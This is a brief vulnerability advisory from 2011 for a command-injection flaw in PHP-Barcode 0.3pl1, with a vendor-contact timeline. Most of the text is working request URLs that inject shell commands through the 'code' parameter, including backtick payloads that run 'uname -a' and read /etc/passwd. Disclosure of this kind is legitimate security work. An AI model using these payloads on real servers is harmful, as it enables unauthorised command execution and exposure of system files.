PHP -Barcode 0.3pl1 Remote Code Execution
The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:
Windows
http://www.2cto.com /php-barcode/barcode.php?code=%TMP%
Linux
http://www.2cto.com /php-barcode/barcode.php?code=012$PATH$d
http://www.2cto.com /php-barcode/barcode.php?code=`uname%20-a`
http://www.2cto.com /php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`
Vendor:
http://www.ashberg.de/php-barcode/download/
Vendor informed:
July 6 / 2011
Vendor acknowledgement:
July 7 / 2011
Fix not available from vendor.
- beford
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